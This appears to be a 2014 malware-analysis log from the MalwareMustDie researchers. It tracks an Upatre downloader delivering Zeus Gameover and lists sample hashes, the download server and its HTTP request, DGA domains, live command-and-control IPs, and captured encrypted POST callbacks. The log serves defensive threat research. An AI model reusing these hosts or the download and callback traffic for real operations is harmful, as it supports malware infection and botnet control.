// #MalwareMusDie! // Case: Upatre downloading Zeus Gameover (GMO) // Detected new alive (front end) CNC in 192.210.237.212 // @unixfreaxjp /malware/checkdomains]$ date Wed Mar 26 19:52:24 JST 2014 Upatre Sample: https://www.virustotal.com/en/file/1c3a24492f53fa16107f2ec01294bf188c32dc6c7a407a814b76685e4176a71a/analysis/1395828639/ ZGMO sample: https://www.virustotal.com/en/file/e5270d906ef13a91e176cf60473747e5bf91bc60fe457dd0f3201a5f51cf6524/analysis/1395830427/ ZGMO Polymorphic drop: https://www.virustotal.com/en/file/4f1f5242b6cf599220bcf642c7a3bd2f42739445bef5bf13b30c67ebbeeb5d64/analysis/1395830452/ ZGMO Necurs rootkit: https://www.virustotal.com/en/file/f1473d776bca32df38f449b5e4e82bdc58825aabf5b5ab03f02e0b3caaf2a661/analysis/ // Upatre downloads from 91.103.220.155 ( Wed Mar 26 19:26:33 JST 2014|91.103.220.155|no-dns.dataflame.co.uk.|29550 | 91.103.216.0/21 | SIMPLYTRANSIT | GB | DATAFLAME.CO.UK | DATAFLAME INTERNET SERVICES LTD ) GET /wp-content/uploads/2014/03/2103UKp.qta HTTP/1.1 Accept: text/*, application/* User-Agent: Updates downloader Host: premiercrufinewine.co.uk Cache-Control: no-cache HTTP/1.1 200 OK Date: Wed, 26 Mar 2014 09:57:22 GMT Server: Apache/2.2.24 (Unix) mod_ssl/2.2.24 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 mod_qos/10.10 Last-Modified: Fri, 21 Mar 2014 06:12:05 GMT ETag: "e1314-79e34-4f517c3d02e2a" Accept-Ranges: bytes Content-Length: 499252 Content-Type: text/plain ZZP.A. (REDACTED) // ZGMO DGA: hyvguwdisgtkfjvpzrshijmjmngu.info vsskfudeqsorzhhawghonhknp.ru zttwocyqkpdegqgiytvcxphhy.biz mftodqwheaiozkbzduwjzydwkonv.com pvdlcaxlflgavwmfzvgcqhafm.com swskvaylddwvkhursjhbyx.org rccicerggqhswvgwolryhvsgqwsxvs.net aulbbiwslxpvvphxnjij.biz uoxztdipjzppjdpyttxcjrdiz.ru zzgezdvwtwyhypfqhytcjraygqp.com gugquwcumizhgyibbaqobajfvolbh.info // ZGMO Callbacks ALIVE domains: aulbbiwslxpvvphxnjij.biz,50.116.4.71, DNS1.REGISTRAR-SERVERS.COM mftodqwheaiozkbzduwjzydwkonv.com,192.210.237.212,DNS1.REGISTRAR-SERVERS.COM // ZGMO Callbacks: // callback 1 to 50.116.4.71 ( Wed Mar 26 19:24:28 JST 2014|50.116.4.71|li430-71.members.linode.com.|6939 | 50.116.0.0/20 | HURRICANE | US | LINODE.COM | LINODE ) POST /write HTTP/1.1 Host: default Accept-Encoding: Connection: close Content-Length: 328 X-ID: 5555 .3....l.u.\...v.Y%.kH.......U.v.a.V..\..Pb.%....e.. .....'...'...Ve.F\e.E'b.2T`.AVe.G]g.4R..E#a.@Rl.A]e. f.................?.h.\N.......}.e.Xg............... Ud.E2..h.......!...!...io.vhj.vhU.vhU.vhU.vhU.vhU.vh U.vhk...............jo.Gk`.vk ..9E.vkm.............lW .|nU.vmU.qio.......'...'...nU.voT.vnU..jT.. .U.voU.voU.voU.voU...U. // callback 2 to 192.210.237.212 ( Wed Mar 26 19:25:04 JST 2014|192.210.237.212|host.colocrossing.com.|36352 | 192.210.236.0/22 | AS-COLOCROSSING | US | NWNX.NET | NEW WAVE NETCONNECT LLC ) POST /write HTTP/1.1 Host: default Accept-Encoding: Connection: close Content-Length: 328 X-ID: 5555 .uj......Z..Lp=..N.H..............r}.E..!J..F#re....... '...'...V...\...'...T...V...]...R...#...R...]..f....... .........:U.h.6.._...Z......g...............U...2..h... ....!...!...i...h...h...h...h...h...h...h...hk......... ......jih.k1..kf.Z9...km.............l...n...m...io.... ...'...'...n...o...n..hj..t....o...o...o...o..t... #MalwareMstDie!!